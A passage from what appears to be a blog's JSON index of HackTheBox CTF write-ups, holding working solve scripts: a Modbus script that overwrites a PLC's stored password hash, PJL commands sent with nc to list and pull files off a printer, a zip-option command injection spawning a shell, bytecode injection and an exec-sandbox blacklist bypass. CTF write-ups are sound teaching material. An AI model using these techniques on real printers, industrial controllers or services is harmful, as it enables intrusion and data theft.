code.\n#!/usr/bin/python3 import hashlib,json POSTFIX = \u0026#34;20240227\u0026#34; def calc_hash(input_str): result_str = \u0026#34;\u0026#34; try: json_obj = json.loads(input_str.replace(\u0026#39;\u0026#34;:\u0026#39;, POSTFIX + \u0026#39;\u0026#34;:\u0026#39;)) if len(json_obj.keys()) != 2: return \u0026#34;Not has exactly 2 keys\u0026#34; sorted_keys = sorted(json_obj.keys()) for key in sorted_keys: result_str += key + str(json_obj[key]) md5_hash = hashlib.md5() md5_hash.update(result_str.lower().encode(\u0026#39;utf-8\u0026#39;)) big_integer = md5_hash.hexdigest() while len(big_integer) \u0026lt; 32: big_integer = \u0026#34;0\u0026#34; + big_integer return f\u0026#34;HTB{{{big_integer}}}\u0026#34; except json.JSONDecodeError: return \u0026#34;JSONDecodeError\u0026#34; input_str = \u0026#39;{\u0026#34;example_key1\u0026#34;:\u0026#34;example_value1\u0026#34;,\u0026#34;example_key2\u0026#34;:\u0026#34;example_value2\u0026#34;}\u0026#39; input_str1 = \u0026#39;{\u0026#34;example_key1\u0026#34;:\u0026#34;example_value1\u0026#34;,\u0026#34;example_key2\u0026#34;:\u0026#34;example_value2\u0026#34;}\u0026#39; #print(calc_hash(input_str1)) input_str2 = \u0026#39;{\u0026#34;@Type\u0026#34;:\u0026#34;hhhkb.ctf.fastjson_and_furious.Flag\u0026#34;,\u0026#34;success\u0026#34;:true}\u0026#39; print(calc_hash(input_str2)) Summary FastJson and Furious: inspect the Android app, trace the validation path, and recover the flag.\n","date":"2024-12-20T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-FastJson-and-Furious-Challenge/","protected":null,"snippet":"FastJson and Furious: inspect the Android app, trace the validation path, and recover the flag.","tags":["htb","mobile","android"],"title":"HackTheBox FastJson and Furious Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-20T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-InfiniteDoge-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","gamepwn","unity","unity-mono"],"title":"HackTheBox InfiniteDoge Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-20T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-LightningFast-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","gamepwn","unity"],"title":"HackTheBox LightningFast Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-20T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Signals-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","hardware","firmware","signal"],"title":"HackTheBox Signals Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-20T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-StayInTheBoxCorp-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","gamepwn","unity","unity-il2cpp"],"title":"HackTheBox StayInTheBoxCorp Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-20T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-The-Needle-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","hardware","firmware","signal"],"title":"HackTheBox The Needle Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-20T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Trace-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","hardware","firmware","signal"],"title":"HackTheBox Trace Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-20T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Wander-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","hardware","firmware","signal"],"title":"HackTheBox Wander Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-19T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-CubeBreaker-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","gamepwn","unity","unity-mono"],"title":"HackTheBox CubeBreaker Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/399\nDescription Discurd has filed a DMCA violation regarding a popular browser extension claiming to be conducting VIP giveaways on the company\u0026rsquo;s product. The addon store has since taken down the extension to prevent any potential browser cryptomining malware from being distributed in the marketplace. Could you investigate what the \u0026lsquo;Discurd Nitro Giveaway\u0026rsquo; addon does exactly?\nExploitation Downloading the executable and decompiling it with ILSpy reveals the URL /c2VjcmV0/archive.zip?k=ZGlzY3VyZG5pdHJ1\nDeobfuscating the JavaScript downloaded from that endpoint allows us to craft the final payload and analyze its functionality.\n(async () =\u0026gt; { const secretKey = \u0026#34;_NOT_THE_SECRET_\u0026#34;; const hexEncodedData = \u0026#34;E242E64261D21969F65BEDF954900A995209099FB6C3C682C0D9C4B275B1C212BC188E0882B6BE72C749211241187FA8\u0026#34;; const hexToBytes = (hex) =\u0026gt; new Uint8Array(hex.match(/../g).map(byte =\u0026gt; parseInt(byte, 16))); const textEncoder = new TextEncoder(); const keyData = textEncoder.encode(secretKey); const importedKey = await crypto.subtle.importKey( \u0026#34;raw\u0026#34;, keyData, { name: \u0026#34;AES-CBC\u0026#34; }, false, [\u0026#34;decrypt\u0026#34;] ); const iv = keyData; const encryptedData = hexToBytes(hexEncodedData); const decryptedData = await crypto.subtle.decrypt( { name: \u0026#34;AES-CBC\u0026#34;, iv: iv }, importedKey, encryptedData ); const decodedData = new TextDecoder(\u0026#34;utf-8\u0026#34;).decode(decryptedData); console.log(\u0026#34;Decrypted Data (Flag):\u0026#34;, decodedData); })(); Summary ChromeMiner: reverse the validation logic, model the transform, and recover the accepted input.\n","date":"2024-12-18T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-ChromeMiner-Challenge/","protected":null,"snippet":"ChromeMiner: reverse the validation logic, model the transform, and recover the accepted input.","tags":["htb","rev","linux"],"title":"HackTheBox ChromeMiner Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/723\nDescription As the crew delves into their quest for acetone peroxide, they stumble upon a decrepit bread factory. Intrigued by the potential for cooperation, they approach the factory and meet the Responders faction, composed of settlers, firefighters, police officers, and medics. The Responders agree to trade acetone peroxide in exchange for the crew\u0026rsquo;s help in restoring the factory to full functionality. With the PLCs in hand, the crew sets up a temporary workshop within the factory\u0026rsquo;s maintenance room. The hackers and engineers collaborate to analyze the aged devices, which are layered with outdated but intricate security protocols. They hook one of the PLCs up to their portable workstation and begin the painstaking process of analyzing the custom protocol used to store the password and secret data in it. Their only lead is that the password is stored in the Memory Block of the PLC under an uncrackable MD5 hash.\nExploitation python3.9 -m venv venv source venv/bin/activate pip install pymodbus==3.5.4 #!/usr/bin/python3 from pymodbus.pdu import ModbusRequest, ModbusResponse from pymodbus.transaction import ModbusSocketFramer from pymodbus.client import ModbusTcpClient import hashlib,logging,struct,time,sys logging.basicConfig() logging.getLogger().setLevel(logging.ERROR) if len(sys.argv) != 2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) HOST_IP,HOST_PORT = sys.argv[1].split(\u0026#39;:\u0026#39;) CUSTOM_FUNCTION_CODE = 0x64 SESSION = 0x00 ERROR_CODES = { 0xE009: \u0026#39;Authorization Error: Invalid password\u0026#39; } READ_MEMORY_BLOCK = 0x20 WRITE_MEMORY_BLOCK = 0x21 GET_SECRET = 0x22 class CustomProtocolRequest(ModbusRequest): function_code = 0x64 def __init__(self, session= 0x00, code= 0, data=None, **kwargs): super().__init__(**kwargs) self.session = session self.code = code self.data = data if data is not None else [] def encode(self): data_format = \u0026#39;\u0026gt;BB\u0026#39; + \u0026#39;B\u0026#39; * len(self.data) return struct.pack(data_format, self.session, self.code, *self.data) def decode(self, data): print(\u0026#39;[!] Request decode is not required for client!\u0026#39;) class CustomProtocolResponse(ModbusResponse): function_code = 0x64 def __init__(self, session= 0x00, code= 0x00, response_code= 0x00 , data= None, **kwargs): super().__init__(**kwargs) self.session = session self.code = code self.data = data if data is not None else [] self.response_status = False def encode(self): print(\u0026#39;[!] Response encode is not required for client!\u0026#39;) def decode(self, data): self.session, self.code, self.response_status = struct.unpack(\u0026#39;\u0026gt;BBB\u0026#39;, data[:3]) self.data = list(struct.unpack(\u0026#39;\u0026gt;\u0026#39; + \u0026#39;B\u0026#39; * (len(data) - 3), data[3:])) global SESSION SESSION = self.session def send_custom_protocol_request(client, session, code, data): request = CustomProtocolRequest(session=session, code=code, data=data) response = client.execute(request) if response.function_code \u0026lt; 0x80: return response.code, response.response_status, response.data else: print(\u0026#34;Error response:\u0026#34;, response) return -1, -1, -1 def send_packet(client, SESSION, CUSTOM_CODE, DATA=[]): if client.connect(): print(\u0026#34;Connected to the server\u0026#34;) code, status, data = send_custom_protocol_request(client, session= SESSION, code=CUSTOM_CODE, data=DATA) if len(data) == 2: hex_number = (lambda x: (x[0] \u0026lt;\u0026lt; 8) + x[1])(data) if hex_number in ERROR_CODES: print(f\u0026#39;ERROR: {ERROR_CODES[hex_number]}\u0026#39;) else: print(\u0026#34;Failed to connect to the server\u0026#34;) return code, status, data def increment_address(address, increment): address_int = (address[0] \u0026lt;\u0026lt; 16) + (address[1] \u0026lt;\u0026lt; 8) + address[2] address_int += increment return [(address_int \u0026gt;\u0026gt; 16) \u0026amp; 0xFF, (address_int \u0026gt;\u0026gt; 8) \u0026amp; 0xFF, address_int \u0026amp; 0xFF] def split_list_at_value(input_list, split_value): result = [] sublist = [] for item in input_list: if item == split_value: if sublist: result.append(sublist) sublist = [] else: sublist.append(item) if sublist: if not all(x == 0xFF for x in sublist): result.append(sublist) return result def find_sublist_index(main_list, sublist): sublist_len = len(sublist) for i in range(len(main_list) - sublist_len + 1): if main_list[i:i + sublist_len] == sublist: return i return -1 def string_to_list_of_ints(input_string): int_list = [ord(char) for char in input_string] return int_list def int_to_3_byte_list(value): return [(value \u0026gt;\u0026gt; 16) \u0026amp; 0xFF, (value \u0026gt;\u0026gt; 8) \u0026amp; 0xFF, value \u0026amp; 0xFF] if __name__ == \u0026#34;__main__\u0026#34;: client = ModbusTcpClient(HOST_IP, port=HOST_PORT, framer=ModbusSocketFramer) client.framer.decoder.register(CustomProtocolResponse) address = [0x00, 0x00, 0x00] read_length = 0xFF memory_block_data = [] for i in range(0, 64): # 64 * 256 == 16 * 1024 data = address + [read_length] code, status, data = send_packet(client, SESSION, READ_MEMORY_BLOCK, data) if all(byte == 0xFF for byte in data): print(\u0026#34;All bytes are 0xFF, exiting loop.\u0026#34;) break memory_block_data += data address = increment_address(address, read_length) split_value = 0x00 memory_block_entries = split_list_at_value(memory_block_data, split_value) hash_entry = [] for entry in memory_block_entries: if len(entry) \u0026gt;= 16: print(entry) hash_entry += entry hash_entry_index = find_sublist_index(memory_block_data, hash_entry) print(hash_entry_index) passowrd = \u0026#39;new_password\u0026#39; password_list = string_to_list_of_ints(passowrd) hash_object = hashlib.md5() hash_object.update(passowrd.encode()) hashed_value = hash_object.digest() hashed_value_list = list(hashed_value) for increment in range(0, 16): address = int_to_3_byte_list(hash_entry_index+increment) print(f\u0026#39;Trying address {address}\u0026#39;) code, status, data = send_packet(client, SESSION, 0x21, address + hashed_value_list) print(code, status, data) code, status, data = send_packet(client, SESSION, 0x22, password_list) print(code, status, data) if len(data) \u0026gt; 2: print(\u0026#39;Found correct hash address!\u0026#39;) flag = \u0026#34;\u0026#34; for char in data: flag += chr(char) print(\u0026#39;FLAG\u0026#39;, flag) Summary Sneak peek: decode the captured signal, map the bitstream, and recover the flag.\n","date":"2024-12-18T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Sneak-peek-Challenge/","protected":null,"snippet":"Sneak peek: decode the captured signal, map the bitstream, and recover the flag.","tags":["htb","hardware","firmware","signal"],"title":"HackTheBox Sneak peek Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/358\nDescription Ramona's obsession with modifications and the addition of artifacts to her body has slowed her down and made her fail and almost get killed in many missions. For this reason, she decided to hack a tiny robot under Golden Fang's ownership called \u0026quot;Compressor\u0026quot;, which can reduce and increase the volume of any object to minimize/maximize it according to the needs of the mission. With this item, she will be able to carry any spare part she needs without adding extra weight to her back, making her fast. Can you help her take it and hack it?\nExploitation #!/usr/bin/python3 from pwn import * import time def exploit(ip, port): p = remote(ip, int(port)) p.sendlineafter(b\u0026#39;[*] Choose component: \u0026#39;, b\u0026#39;1\u0026#39;) p.sendlineafter(b\u0026#39;[*] Choose action: \u0026#39;, b\u0026#39;1\u0026#39;) p.sendlineafter(b\u0026#39;Insert name: \u0026#39;, b\u0026#39;htb\u0026#39;) p.sendlineafter(b\u0026#39;Insert content: \u0026#39;, b\u0026#39;htb\u0026#39;) p.sendlineafter(b\u0026#39;[*] Choose action: \u0026#39;, b\u0026#39;3\u0026#39;) p.sendlineafter(b\u0026#39;Insert \u0026lt;name\u0026gt;.zip: \u0026#39;, b\u0026#39;htb\u0026#39;) p.sendlineafter(b\u0026#39;Insert \u0026lt;name\u0026gt;: \u0026#39;, b\u0026#39;htb\u0026#39;) p.sendlineafter(b\u0026#39;Insert \u0026lt;options\u0026gt;: \u0026#39;, b\u0026#39;-T -TT \\\u0026#39;sh #\\\u0026#39;\u0026#39;) p.sendline(b\u0026#34;cat ~/flag.txt\u0026#34;) p.interactive() if __name__ == \u0026#34;__main__\u0026#34;: import sys if len(sys.argv) != 2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) ip, port = sys.argv[1].split(\u0026#39;:\u0026#39;) exploit(ip, port) reference\nSummary Compressor: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2024-12-17T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Compressor-Challenge/","protected":null,"snippet":"Compressor: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox Compressor Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/687\nDescription Navigate the haunting riddles that echo through the forest, for the Cubicle Riddle is no ordinary obstacle. The answers you seek lie within the whispers of the ancient trees and the unseen forces that govern this mystical forest. Will your faction decipher the enigma and claim the knowledge concealed within this challenge, or will the forest consume those who dare to unravel its secrets? The fate of your faction rests in you.\nAnalysis The key exploitable section resides in riddler.py.\n#!/usr/bin/python3 import types from random import randint class Riddler: max_int: int min_int: int co_code_start: bytes co_code_end: bytes num_list: list[int] def __init__(self) -\u0026gt; None: self.max_int = 1000 self.min_int = -1000 self.co_code_start = b\u0026#34;d\\x01}\\x01d\\x02}\\x02\u0026#34; self.co_code_end = b\u0026#34;|\\x01|\\x02f\\x02S\\x00\u0026#34; self.num_list = [randint(self.min_int, self.max_int) for _ in range(10)] def ask_riddle(self) -\u0026gt; str: return \u0026#34;\u0026#34;\u0026#34; \u0026#39;In arrays deep, where numbers sprawl, I lurk unseen, both short and tall. Seek me out, in ranks I stand, The lowest low, the highest grand. What am i?\u0026#39; \u0026#34;\u0026#34;\u0026#34; def check_answer(self, answer: bytes) -\u0026gt; bool: _answer_func: types.FunctionType = types.FunctionType( self._construct_answer(answer), {} ) return _answer_func(self.num_list) == (min(self.num_list), max(self.num_list)) def _construct_answer(self, answer: bytes) -\u0026gt; types.CodeType: co_code: bytearray = bytearray(self.co_code_start) co_code.extend(answer) co_code.extend(self.co_code_end) code_obj: types.CodeType = types.CodeType( 1, 0, 0, 4, 3, 3, bytes(co_code), (None, self.max_int, self.min_int), (), (\u0026#34;num_list\u0026#34;, \u0026#34;min\u0026#34;, \u0026#34;max\u0026#34;, \u0026#34;num\u0026#34;), __file__, \u0026#34;_answer_func\u0026#34;, \u0026#34;_answer_func\u0026#34;, 1, b\u0026#34;\u0026#34;, b\u0026#34;\u0026#34;, (), (), ) return code_obj The user input is processed as Python bytecode to construct a Code object, which subsequently generates a Function object _answer_func. The Code object is supplied with:\nco_consts: (None, self.max_int, self.min_int) co_varnames: (\u0026quot;num_list\u0026quot;, \u0026quot;min\u0026quot;, \u0026quot;max\u0026quot;, \u0026quot;num\u0026quot;) To enforce specific functionality, additional bytecode is prepended and appended to the user\u0026rsquo;s bytecode.\nPrepended Bytecode\n\u0026gt;\u0026gt;\u0026gt; dis.dis(b\u0026#34;d\\x01}\\x01d\\x02}\\x02\u0026#34;) 0 LOAD_CONST 1 # Load self.max_int onto the stack 2 STORE_FAST 1 # Store in variable \u0026#34;min\u0026#34; 4 LOAD_CONST 2 # Load self.min_int onto the stack 6 STORE_FAST 2 # Store in variable \u0026#34;max\u0026#34; Purpose: Initializes min and max with values self.max_int (e.g., 1000) and self.min_int (e.g., -1000).\nAppended Bytecode\n\u0026gt;\u0026gt;\u0026gt; dis.dis(b\u0026#34;|\\x01|\\x02f\\x02S\\x00\u0026#34;) 0 LOAD_FAST 1 # Load variable \u0026#34;min\u0026#34; 2 LOAD_FAST 2 # Load variable \u0026#34;max\u0026#34; 4 BUILD_TUPLE 2 # Create a tuple (min, max) 6 RETURN_VALUE # Return the tuple Purpose: Ensures the function output is always (min, max).\nThe resulting function behaves like:\ndef _answer_func(num_list: list[int]) -\u0026gt; tuple[int, int]: min: int = 1000 # self.max_int max: int = -1000 # self.min_int for num in num_list: if num \u0026lt; min: min = num if num \u0026gt; max: max = num return (min, max) Exploitation #!/usr/bin/env python3 from pwn import * import sys def _answer_func(num_list: int): min: int = 1000 max: int = -1000 for num in num_list: if num \u0026lt; min: min = num if num \u0026gt; max: max = num return (min, max) def send_bytecode(target): ip, port = target.split(\u0026#34;:\u0026#34;) port = int(port) print(f\u0026#34;[+] Connecting to {ip}:{port}...\u0026#34;, flush=True) conn = remote(ip, port) conn.recvuntil(b\u0026#34;(Choose wisely) \u0026gt; \u0026#34;) conn.sendline(b\u0026#34;1\u0026#34;) conn.recvuntil(b\u0026#34;(Answer wisely) \u0026gt; \u0026#34;) print(f\u0026#34;[*] ByteCode : {_answer_func.__code__.co_code}\u0026#34;) bytecode = list(b\u0026#39;\\x97\\x00d\\x01}\\x01d\\x02}\\x02|\\x00D\\x00]\\x12}\\x03|\\x03|\\x01k\\x00\\x00\\x00\\x00\\x00r\\x02|\\x03}\\x01|\\x03|\\x02k\\x04\\x00\\x00\\x00\\x00r\\x02|\\x03}\\x02\\x8c\\x13|\\x01|\\x02f\\x02S\\x00\u0026#39;) bytecode_str = \u0026#34;,\u0026#34;.join(map(str, bytecode)) print(f\u0026#34;[+] Decimal Bytecode to Send: {bytecode_str}\u0026#34;, flush=True) conn.sendline(bytecode_str.encode()) print(\u0026#34;[+] Receiving response...\u0026#34;, flush=True) response = conn.recvall(timeout=5).decode() print(\u0026#34;[*] Server Response:\\n\u0026#34; + response, flush=True) conn.close() if __name__ == \u0026#34;__main__\u0026#34;: if len(sys.argv) != 2: print(f\u0026#34;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;, file=sys.stderr) sys.exit(1) target = sys.argv[1] send_bytecode(target) Summary Cubicle Riddle: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2024-12-17T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Cubicle-Riddle-Challenge/","protected":null,"snippet":"Cubicle Riddle: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox Cubicle Riddle Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/246\nDescription I lost access to my computer and need a document urgently which got stuck in a printer. Can you get me the document ?\nExploitation #!/bin/bash if [ \u0026#34;$#\u0026#34; -ne 2 ]; then echo \u0026#34;Usage: $0 \u0026lt;ip\u0026gt; \u0026lt;port\u0026gt;\u0026#34; exit 1 fi IP=$1 PORT=$2 OUTPUT_FILE=\u0026#34;HR_Policies.pdf\u0026#34; echo \u0026#34;[*] Connecting to printer at $IP:$PORT...\u0026#34; echo \u0026#34;[*] Listing root directory...\u0026#34; echo -e \u0026#34;@PJL FSDIRLIST NAME=\\\u0026#34;0:/\\\u0026#34; ENTRY=1 COUNT=65535\\r\\n\u0026#34; | nc -q 2 $IP $PORT echo \u0026#34;[*] Listing saveDevice directory...\u0026#34; echo -e \u0026#34;@PJL FSDIRLIST NAME=\\\u0026#34;0:/saveDevice\\\u0026#34; ENTRY=1 COUNT=65535\\r\\n\u0026#34; | nc -q 2 $IP $PORT echo \u0026#34;[*] Listing SavedJobs directory...\u0026#34; echo -e \u0026#34;@PJL FSDIRLIST NAME=\\\u0026#34;0:/saveDevice/SavedJobs\\\u0026#34; ENTRY=1 COUNT=65535\\r\\n\u0026#34; | nc -q 2 $IP $PORT echo \u0026#34;[*] Listing InProgress directory...\u0026#34; echo -e \u0026#34;@PJL FSDIRLIST NAME=\\\u0026#34;0:/saveDevice/SavedJobs/InProgress\\\u0026#34; ENTRY=1 COUNT=65535\\r\\n\u0026#34; | nc -q 2 $IP $PORT echo \u0026#34;[*] Downloading HR_Policies.pdf...\u0026#34; echo -e \u0026#34;@PJL FSUPLOAD NAME=\\\u0026#34;0:/saveDevice/SavedJobs/InProgress/HR_Policies.pdf\\\u0026#34; OFFSET=0 SIZE=41893\\r\\n\u0026#34; | nc -q 2 $IP $PORT | tail -n +2 | base64 -d \u0026gt; $OUTPUT_FILE if [ -f \u0026#34;$OUTPUT_FILE\u0026#34; ]; then echo \u0026#34;[+] File successfully downloaded as $OUTPUT_FILE\u0026#34; echo \u0026#34;[+] Use a PDF viewer to open the file and retrieve the flag.\u0026#34; else echo \u0026#34;[-] Failed to download the file.\u0026#34; fi xdg-open HR_Policies.pdf Summary Gawk: decode the captured signal, map the bitstream, and recover the flag.\n","date":"2024-12-17T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Gawk-Challenge/","protected":null,"snippet":"Gawk: decode the captured signal, map the bitstream, and recover the flag.","tags":["htb","hardware","firmware","signal"],"title":"HackTheBox Gawk Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/717\nDescription A test! Getting onto the team is one thing, but you must prove your skills to be chosen to represent the best of the best. They have given you the classic - a restricted environment, devoid of functionality, and it is up to you to see what you can do. Can you break open the chest? Do you have what it takes to bring humanity from the brink?\nSource banner = r\u0026#39;\u0026#39;\u0026#39; .____ __ .___ _____ | | ____ ____ | | __ ____ __| _/ / _ \\__ _ _______ ___.__. | | / _ \\_/ ___\\| |/ // __ \\ / __ | / /_\\ \\ \\/ \\/ /\\__ \\\u0026lt; | | | |__( \u0026lt;_\u0026gt; ) \\___| \u0026lt;\\ ___// /_/ | / | \\ / / __ \\\\___ | |_______ \\____/ \\___ \u0026gt;__|_ \\\\___ \u0026gt;____ | \\____|__ /\\/\\_/ (____ / ____| \\/ \\/ \\/ \\/ \\/ \\/ \\/\\/ \u0026#39;\u0026#39;\u0026#39; def open_chest(): with open(\u0026#39;flag.txt\u0026#39;, \u0026#39;r\u0026#39;) as f: print(f.read()) blacklist = [ \u0026#39;import\u0026#39;, \u0026#39;os\u0026#39;, \u0026#39;sys\u0026#39;, \u0026#39;breakpoint\u0026#39;, \u0026#39;flag\u0026#39;, \u0026#39;txt\u0026#39;, \u0026#39;read\u0026#39;, \u0026#39;eval\u0026#39;, \u0026#39;exec\u0026#39;, \u0026#39;dir\u0026#39;, \u0026#39;print\u0026#39;, \u0026#39;subprocess\u0026#39;, \u0026#39;[\u0026#39;, \u0026#39;]\u0026#39;, \u0026#39;echo\u0026#39;, \u0026#39;cat\u0026#39;, \u0026#39;\u0026gt;\u0026#39;, \u0026#39;\u0026lt;\u0026#39;, \u0026#39;\u0026#34;\u0026#39;, \u0026#39;\\\u0026#39;\u0026#39;, \u0026#39;open\u0026#39; ] print(banner) while True: command = input(\u0026#39;The chest lies waiting... \u0026#39;) if any(b in command for b in blacklist): print(\u0026#39;Invalid command!\u0026#39;) continue try: exec(command) except Exception: print(\u0026#39;You have been locked away...\u0026#39;) exit(1337) Exploitation blacklist.clear() open_chest() Summary Locked Away: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2024-12-17T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Locked-Away-Challenge/","protected":null,"snippet":"Locked Away: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox Locked Away Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/216\nDescription We must retrieve the master key stored on the microSD card that is inside the access control system. The traces connected to the card module are accessible on the top layer of the PCB. This enabled our operative to cut the traces and input a logic capture device in-between them. They could then trigger the read operation of the key that is transmitted over this unprotected serial interface. Can you find out what was read by the microSD card?\nExploitation Use the Logic2 software to analyze SPI communication with the following default signal mappings:\nMOSI: Channel 01 MISO: Channel 00 Clock: Channel 03 Enable: Channel 02 Export the analyzed data table as a CSV file, and process it using the following command to extract the flag:\ncat test.csv | tr \u0026#39;,\u0026#39; \u0026#39; \u0026#39; | tr -d \u0026#39;\u0026#34;\u0026#39; | awk \u0026#39;{print $6}\u0026#39; | tr -d \u0026#39;\\n\u0026#39; | grep \u0026#39;HTB\u0026#39; Summary Secure Digital: decode the captured signal, map the bitstream, and recover the flag.\n","date":"2024-12-17T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Secure-Digital-Challenge/","protected":null,"snippet":"Secure Digital: decode the captured signal, map the bitstream, and recover the flag.","tags":["htb","hardware","firmware","spi","logic-analyzer","signal"],"title":"HackTheBox Secure Digital Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/333\nDescription Money maker, Big Boy Bonnie has a crew of his own to do his dirty jobs. In a tiny little planet a few lightyears away, a custom-made vault has been found by his crew. Something is hidden inside it, can you find out the way it works and bring it to Bonnie?\nExploitation #!/usr/bin/python3 from pwn import * context.binary = \u0026#39;vault-breaker\u0026#39; def get_process(): if len(sys.argv) == 1: return context.binary.process() host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(host, int(port)) if __name__ == \u0026#39;__main__\u0026#39;: p = get_process() p.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;1\u0026#39;) p.sendlineafter(b\u0026#39;[*] Length of new password (0-31): \u0026#39;, b\u0026#39;0\u0026#39;) progress = log.progress(\u0026#39;Number\u0026#39;) for i in range(31, -1, -1): progress.status(str(i)) p.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;1\u0026#39;) p.sendlineafter(b\u0026#39;[*] Length of new password (0-31): \u0026#39;, str(i).encode()) p.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;2\u0026#39;) p.interactive() Summary Vault-breaker: build the exploit primitive, stabilize the payload, and use it to read the flag.\n","date":"2024-12-17T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Vault-breaker-Challenge/","protected":null,"snippet":"Vault-breaker: build the exploit primitive, stabilize the payload, and use it to read the flag.","tags":["htb","pwn","linux"],"title":"HackTheBox Vault-breaker Challenge"},{"categories":["machine"],"contents":"","date":"2024-12-15T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Heal/","protected":true,"snippet":"Enter the password to unlock this machine writeup.","tags":["htb","linux"],"title":"HackTheBox Heal Writeup"},{"categories":["challenge"],"contents":"","date":"2024-12-13T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Baby-Time-Capsule-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","crypto","rsa"],"title":"HackTheBox Baby Time Capsule Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-13T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-BabyEncryption-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","crypto"],"title":"HackTheBox BabyEncryption Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-13T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Birds-of-randomness-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","crypto","rsa","prng","lattice","ecc"],"title":"HackTheBox Birds of randomness Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-13T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Broken-Decryptor-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","crypto","xor","prng"],"title":"HackTheBox Broken Decryptor Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-13T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Diagnostic-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","forensics","powershell"],"title":"HackTheBox Diagnostic Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-13T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Embryonic-Plant-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","crypto","aes","prng","hash"],"title":"HackTheBox Embryonic Plant Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-13T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Lost-Modulus-Again-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","crypto","rsa","lattice"],"title":"HackTheBox Lost Modulus Again Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-13T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-LostKey-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this 